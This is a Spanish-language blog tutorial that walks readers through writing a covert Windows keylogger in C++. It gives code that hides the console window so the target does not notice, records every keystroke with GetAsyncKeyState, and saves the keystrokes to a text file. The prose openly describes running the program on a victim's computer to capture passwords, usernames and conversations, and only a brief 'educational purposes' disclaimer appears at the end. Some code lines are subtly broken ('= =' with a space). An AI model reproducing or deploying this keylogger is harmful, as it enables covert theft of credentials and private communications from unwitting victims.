Implementación de un keylogger con C++
En esta ocasion le presento la manera de implementar un keylogger con mi lenguaje favorito C++.Un keylogger es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet.
Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.
En esta ocasión les mostrare una implementación de un keylogger en lenguaje C++, puede hacerse en cualquier otro lenguaje, sin embargo mi fuerte es C. Asi que comenzemos.
El primer paso es abrir un IDE, en mi caso yo prefiero zinjai, y debemos crear un nuevo archivo en blanco con extensión .cpp (un solo archivo fuente será necesario) en su caso, si les gusta modular el código podrán hacerlo sin ningún problema.
Incluimos las librerías fstream, windows.h. La librería nos servirá para poder hacer uso de la creación y escritura sobre los ficheros que necesitamos( en este caso crearemos un txt), la libreria windows.h. nos servirá para poder ocultar la ventana ms-dos (obviamente no queremos que el usuario-objetivo se de cuenta de que estamos interceptando sus datos). No necesitaremos mas librerias que estas.
A continuación necesitamos crear y abrir el fichero en donde guardaremos los datos recolectados, estos datos se guardaran en la carpeta donde tengamos el ejecutable, la creación y apertura del fichero con terminación .txt se hace con los siguiente comandos:
ofstream data; //Creamos el fichero de nombre data
data.open ("data.txt"); // abrimos el fichero existente, si no existe, se crea con ese nombre
Seguidamente debemos definir dos variables, una nos servirá para guardar cada tecla presionada y la otra nos servirá para guardar la concatenación de estos caracteres, definimos estas variables de esta manera:
string cadena; //cadena de tipo string C++
char c; //caracter donde guardaremos las teclas presionadas
El siguiente paso es ocultar la pantalla de ejecución que nos muestra el exe, como ya había dicho, estamos creando una aplicación para interceptar la actividad en el teclado del usuario, por supuesto no queremos que se entere. Ocultamos la pantalla con este comando:
HWND ocultar = FindWindow("ConsoleWindowClass",0);
ShowWindow(ocultar,0);
Ahora procedemos a la implementación de la función que se encargará de monitorear la actividad del teclado, es muy trivial, con leer el código entenderán. El código se muestra a continuación:
while(true){
for (int key = 0; key <=255; key++){
if (GetAsyncKeyState(key) = = -32767){
c = (char)key;
if(key= =13) cadena+='\n';
else{
cadena+=key;}
if(key==27) goto stop;
}
}
}
Explicando un poco el código: hacemos un bucle de ejecución indefinida pues estaremos monitoreando la actividad hasta que vayamos a verificar los datos guardados, recorremos los 255 caracteres ASCII cada vez que se detecte una tecla presionada, y buscamos la respuesta del GetAsyncKeyState() al estimulo,si hay estimulo identificamos que tecla lo produjo, entonces guardamos esa tecla en la cadena de caracteres. La condición de paro de este bucle es encontrar el caracter con codigo ASCII numero 27( la tecla ESC), yo definí esa tecla, podría ser cualquier otra. Con esta definición significa que yo como programador, correré el software en la computadora, y lo detendré presionando la tecla ESC, una vez presionada, revisamos la carpeta del ejecutable y ahi debe de aparecer el archivo txt con todas las teclas presionadas.
Finalmente, como se puede ver en el bucle, utilizamos la sentencia goto para salir de ahi, con goto brincamos a la bandera llamada stop, la cuál definí como sigue:
stop:
ShowWindow(ocultar,1);
data<<cadena;
data.close();
Sleep(2000);
Lo que hacemos es mostrar la ventana del ms-dos, claro esta, al finalizar nosotros con ESC, pueden ignorar esa parte no es necesaria. Después guardamos la cadena de caracteres leída en el fichero txt. Y para finalizar cerramos el fichero. Listo, el keylogger ha sido implementado, solo es cuestión de compilar,ejecutar y probar. Les mostrare un poco de como se hace:
Aqui la implementación en zinjai:
Compilamos el programa:
Vamos a la carpeta donde guardamos el codigo .cpp, pues ahí estará el ejecutable después de compilar:
Damos doble click sobre el ejecutable y deberá de verse la ventana del ejecutable a lo máximo medio segundo:
A partir de que aparezca la ventana, el keylogger esta funcionando, todo lo que ingresemos por el teclado se guardara en el fichero, y cuando digo todo es todo( contraseñas, usuarios, conversaciones) etc.. Un comentario es que la combinación de teclas y teclas especiales no serán correctamente almacenadas, simplemente almacenamos caracteres simples, aqui una prueba de su funcionalidad.
Abrí un editor de texto, ingrese algunas lineas:
Podemos ejecutar este programa durante el tiempo que la victima esté en el computador, cuando creamos que la victima ha finalizado, presionamos la tecla ESC para detener el programa (como les dije, yo elegi esa tecla, si quiere pueden poner la que gusten), y debe salirnos de nuevo la ventana de ejecución por dos segundos.
Cuando desaparezca esta ventana, nos dirigimos a la carpeta en donde teníamos el ejecutable, y ahí debe salir el documento data.txt donde guardamos los datos, simplemente lo abrimos y podremos ver todo lo ingresado por el teclado durante el tiempo que ejecutamos el programa.
Con esto concluyo este pequeño tutorial. Se deben de acostumbrar a lo que diré siempre, este tutorial lo hice con fines educativos, para ilustrar técnicas de hacking, triviales y poderosas, no me responsabilizo por el uso que le den. Sin mas por el momento me despido, espero que les haya gustado este tema, sigan apoyando mi blog mas adelante subiré temas mas complejos. Si tienen dudas sobre este trabajo no duden en contactarme vía facebook, o por este medio.Saludos.
Att. Luis Casanova
gracias
ResponderBorrarty
ResponderBorrar